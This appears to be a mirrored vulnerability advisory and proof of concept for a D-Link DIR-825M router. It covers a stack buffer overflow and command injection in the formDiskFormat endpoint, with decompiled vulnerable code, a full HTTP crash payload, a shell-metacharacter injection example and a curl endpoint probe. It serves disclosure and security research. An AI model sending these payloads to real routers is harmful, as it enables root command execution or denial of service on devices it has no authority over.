## https://sploitus.com/exploit?id=AE38148F-C00C-5A5C-87F5-DA9FEA8D6FD9
# D-Link Router DIR-825M - Buffer Overflow in /boafrm/formDiskFormat
## Vulnerability Details
### Detailed Information
| **Field** | **Value** |
| ---------- ------------ | ----------------------------------------------------------- - |
| **Vendor** | D-Link |
| **Product** | D-Link DIR-825M (and other models sharing the same firmware codebase) |
| **Affected Version** | Firmware v1.1.8 |
| **Vulnerability Type** | Stack-based Buffer Overflow (CWE-121), Command Injection (CWE-78) |
| **Vendor Homepage** | https://www.dlink.com/ |
## Vulnerability Description
During a security review of the router’s firmware, a critical vulnerability was identified in the `/boafrm/formDiskFormat` endpoint.
The vulnerability is located in the `sub_46725C` function, which handles partition formatting. The function retrieves the user-controlled `partition` parameter from the HTTP POST request. Without any prior sanitization, verification, or length checks on this parameter, the program performs several unsafe operations:
1. It uses `sprintf` to format the parameter into a small local stack buffer `v9` (allocated with only 132 bytes).
2. It directly passes the constructed command strings to `system()` to execute system utilities.
An attacker can exploit this by injecting shell metacharacters (such as `;`, `&`, or `|`) into the `partition` parameter to execute arbitrary system commands with root privileges, or by passing an oversized string to cause a stack buffer overflow and hijack control flow.
- **Vulnerability Location**: `/boafrm/formDiskFormat` (or a similar disk format handling endpoint)
- **Vulnerable Function**: `sub_46725C`
## Root Cause
The vulnerability stems from two concurrent programming flaws: **unsafe string formatting** and **direct execution of unvalidated inputs in a system shell**.
### 1. Command Injection (CWE-78)
Inside `sub_46725C`, the `partition` parameter is retrieved and stored in `v2`:
```c
v2 = (const char *)sub_41351C(a1, "partition", "");
```
If the parameter is not empty, the program immediately constructs an unmount command and executes it:
```c
sprintf(v9, "umount /dev/%s >/dev/null 2>&1", v2);
system(v9);
```
Since `v2` is directly embedded into the command string without sanitizing characters such as `;`, an input of `sda1;+sleep+5;` will execute as:
```c
umount /dev/sda1; sleep 5; >/dev/null 2>&1
```
This directly triggers the execution of arbitrary shell commands.
### 2. Stack-based Buffer Overflow (CWE-121)
The local buffer `v9` is declared on the stack with a limited size:
```c
char v9[132];
```
The program uses `sprintf` to copy the user input into `v9`:
```c
sprintf(v9, "mkdir -p /var/tmp/usb/%s >/dev/null 2>&1", v2);
```
Because `sprintf` does not perform bounds checking, a `partition` parameter longer than approximately 90 bytes will write beyond the boundary of `v9`, overwriting the stack frame—including the saved frame pointer and return address (`$ra` in MIPS/ARM).
## Impact
An attacker can exploit this vulnerability to achieve the following outcomes:
- **Arbitrary Command Execution**: Execute arbitrary shell commands on the router with the highest (`root`) privileges.
- **Denial of Service (DoS)**: Overwrite the stack or corrupt memory to crash the Web server daemon, rendering the router’s management panel completely inaccessible.
## Proof of Concept (PoC)
By supplying an oversized `partition` parameter, the stack will be corrupted, resulting in a segmentation fault and causing the Web server daemon to crash.
```http
POST /boafrm/formDiskFormat HTTP/1.1
Host: 192.168.0.1
Content-Length: 655
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.0.1/diskformat.htm
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: webuicookie=16041526311804289383
Connection: keep-alive
partition=sda1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&systype=ext2& Apply+Changes=Apply+Changes&submit_url=%2Fdiskinfo.htm
```
## Screenshots of the local reproduction
- Setting up the environment using Firmae and running the PoC via Burp Repeater
- Result:
---
# Distribution Image Notes (Chinese)
This repository contains the ** CVE-2026-82592 (D-Link DIR-825M Disk Formatting Interface Stack Overflow + Command Injection RCE)** vulnerability PoC (see the original upstream report `formDiskFormat.md` above for technical analysis). The content is derived from the upstream publicly released PoC report and is intended solely for archiving and distribution purposes. The PoC is provided exclusively for security research, vulnerability verification, and authorized testing; please do not use it against unauthorized targets.
## Vulnerability Summary
- **CVE-2026-82592** / D-Link DIR-825M (models sharing the same firmware codebase should also be investigated)
- **Affected Version**: Firmware **v1.1.8**
- **Type**: Stack buffer overflow (CWE-121) + Command injection (CWE-78) → Remote Code Execution (RCE)
- **CVSS 3.1**: **9.9 (Critical)**; CVSS 4.0: 8.6 (High)
- **Attack Surface**: Web management interface for disk formatting `POST /boafrm/formDiskFormat`
- **Exploitation Method**: Injecting shell metacharacters into the `partition` parameter (command injection), or sending an excessively long string (stack overflow)
- **Consequences**: Execution of arbitrary commands with **root** privileges / Web service crash (DoS)
- **Patch Status**: No patch was released by the vendor at the time of disclosure; please monitor D-Link’s official firmware updates
Core Principle: The `sub_46725C` function, which handles partition formatting, directly concatenates the user-controllable `partition` parameter into two commands—`sprintf(v9, "mkdir -p /var/tmp/usb/%s ...", v2)` (v9 is only 132 bytes; with no bounds checking, an overflow of ~90 bytes overwrites `$ra`) and `sprintf(v9, "umount /dev/%s ...", v2); system(v9)` (metacharacters such as `;`, `&`, and `|` are passed to the shell as-is).
## Environment and Usage / Requirements & Usage
- Reproduction environment: FirmaE firmware emulator + Burp Repeater (the publicly disclosed version is a **crash-triggering payload**, not a complete exploit)
- Checking for the existence of the endpoint:
```bash
curl -s -o /dev/null -w "%{http_code}" http:///boafrm/formDiskFormat
# A response of 200 or 302 (rather than 404) indicates the interface exists
```
- Reproduction Request (Key Sections):
```http
POST /boafrm/formDiskFormat HTTP/1.1
Content-Type: application/x-www-form-urlencoded
partition=sda1aaaa...(extended padding)&systype=ext2&Apply+Changes=Apply+Changes&submit_url=%2Fdiskinfo.htm
```
## Disclaimer
This PoC is intended solely for educational, security research, and authorized testing purposes and may only be run on devices you own or for which you have explicit authorization. Exploitation may execute commands with root privileges or cause the device’s web service to crash; please test in a disposable simulation environment.
## Attribution & License
- Author of the upstream PoC report: **Robots10** (public IoT vulnerability repository IoT_vlu, `reports/Dlink/formDiskFormat/`).
- The distribution repository is licensed under the **MIT License** (see `LICENSE`).
## References
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-82592
- CVE entry: https://vulners.com/cve/CVE-2026-82592
- D-Link official website: https://www.dlink.com/